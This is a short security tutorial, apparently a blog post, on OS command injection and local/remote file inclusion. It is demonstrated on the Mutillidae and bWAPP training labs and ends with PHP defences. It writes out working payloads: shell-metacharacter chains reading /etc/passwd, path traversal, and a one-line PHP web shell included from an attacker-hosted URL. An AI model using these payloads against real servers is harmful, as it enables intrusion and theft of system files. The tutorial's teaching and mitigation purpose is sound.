A practical guide on exploiting and mitigating critical server-level vulnerabilities: OS Command Injection and Local/Remote File Inclusion (LFI/RFI). These flaws allow an attacker to execute arbitrary code or read sensitive files from the host operating system.
This vulnerability occurs when a web application passes unsafe user-supplied data directly to a system shell (using functions like exec() or system()). Attackers can alter execution using shell "metacharacters" to chain malicious commands.
; (Semicolon): Executes commands sequentially.&& (Logical AND): Executes the second command only if the first succeeds.| (Pipe): Passes the output of the first command as input to the second.Accessing OWASP Mutillidae, we can test basic reconnaissance payloads:
# Ignore the ping and list the current directory
127.0.0.1 ; pwd
127.0.0.1 | ls -la
# Read the critical Linux user file
127.0.0.1 ; cat /etc/passwd
Occurs when an app dynamically includes files using URL parameters without proper validation. Attackers can inject OS paths to read private files.
We use the vulnerable parameter in bWAPP to navigate backward in the server's directories using ../ to reach the system root:
# Escape /var/www/html and read system files
?language=../../../../etc/passwd
If PHP's allow_url_include=On is set, the risk is critical: we can force the server to include and execute a file hosted on our malicious server.
# 1. Host shell.txt on Kali:
<?php system($_GET['cmd']); ?>
# 2. Force the victim server to execute it:
http://target/bWAPP/rlfi.php?language=http://kali-ip/shell.txt&cmd=whoami
I've prepared a Network Emulator (Ping Tool) that is vulnerable to Command Injection. Will you be able to chain a payload to read the /etc/passwd file from my simulated server?
unlink() instead of rm).filter_var($ip, FILTER_VALIDATE_IP).escapeshellarg().<?php
// Robust defense against LFI using a Whitelist Map
$allowed_files = ['es' => 'es_lang.php', 'en' => 'en_lang.php'];
$selection = $_GET['lang'] ?? 'es';
include($allowed_files[$selection] ?? $allowed_files['es']);
?>